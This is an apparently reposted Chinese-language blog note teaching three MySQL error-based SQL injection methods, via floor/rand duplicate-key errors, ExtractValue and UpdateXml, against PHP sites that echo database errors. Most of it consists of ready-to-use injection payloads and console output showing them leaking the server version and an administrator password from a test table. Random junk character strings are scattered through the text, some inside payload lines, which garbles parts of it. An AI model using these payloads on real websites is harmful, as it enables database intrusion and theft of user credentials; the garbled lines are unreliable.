关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
' G) E% h) |0 ]6 k$ E实际测试环境：
​

mysql> show tables;
- {7 s( g5 R# P+----------------+
| Tables_in_test |
+----------------+
| admin          |
; i1 N5 [& V7 n. u+ _6 W| article        |
+----------------+


) A1 V8 v7 I# ]1 P
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
: G. s9 v, q; _5 i0 G| Field | Type             | Null | Key | Default | Extra          |
. T/ n( E, p4 a7 f% D+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
% I( o1 g, U/ Q8 z8 y' n$ R% C+-------+------------------+------+-----+---------+----------------+
6 E1 f9 I5 d+ v7 t' v  Q! B6 |9 E


mysql> describe article;
& R- |, v, ~% b+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+ B: D) |4 f* Q$ T; I% p$ K  p+---------+------------------+------+-----+---------+----------------+
$ Z+ [7 i* x, l8 v| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
) K% W  C' R3 {| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
6 a/ T! l, n" v1、通过floor报错
0 l2 [/ Z5 l3 A2 B  h* ]可以通过如下一些利用代码

' U6 q& c9 F! `7 |( f& ]
) U  d  @' w% C; [, F. rand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
6 e( v- K9 k( t9 l8 U- rfrom information_schema.tables group by x)a);
  `0 l4 c0 L2 X

) e1 R" \: C2 W% e& z9 L6 dand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
8 D4 T0 ?; Y8 efloor(rand(0)*2)));
举例如下：
# N- K; y) i6 \3 k" @首先进行正常查询：
; o# U8 A% K( }9 u
- C2 [& n1 ~. @. j+ \3 `mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
: y% H$ }$ o  W  x2 l|  1 | test  | do it   |
3 v$ ?; j) I$ K% a! J9 `  f+----+-------+---------+
& P9 E6 g9 ?8 g) ]2 @8 `+ n假如id输入存在注入的话，可以通过如下语句进行报错。

4 s  q! O& D& V2 p3 s7 p
6 e6 n$ v7 Y. N4 \( Y" |2 K4 umysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
, z, w+ A$ I" s/ W3 \Method1:
' p. c2 }% R3 A1 V4 w* n/ S5 K

( ?. R: E% J( c. B8 D3 [- y; Xmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
  o4 ^) G% r6 dfrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
* |1 a8 v5 J& l: y
! K% T. w- E0 a, i
/ }1 s6 I1 I) C: P- Imysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
) a, Y% [8 r2 a. Ufloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
, s/ {  z5 n4 p: ]$ b0 c5 x8 N测试语句如下

) F5 U" B+ d4 w+ P  h& m7 K
+ V4 y$ ~# N5 G% s/ W# O% c1 vand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程

6 V* K+ a0 [1 c" M) y3 @
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
+ U7 y7 {4 P$ aERROR 1105 (HY000): XPATH syntax error: '\admin888'
& T% `- H. x& l7 [3、UpdateXml
测试语句
& v  e" h; @3 V8 ~+ p0 g
: `$ h% m! s/ A6 C; \& J
# P3 `% H, [6 I: l0 zand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% |' J' V) A/ y0 ?, `9 b实际测试过程


: i# g9 W( [8 ]mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
8 r/ k. G+ [. c, i, J(select pass from admin limit 1),0x5e24),1));
5 [3 l, f1 ]" N! G( BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​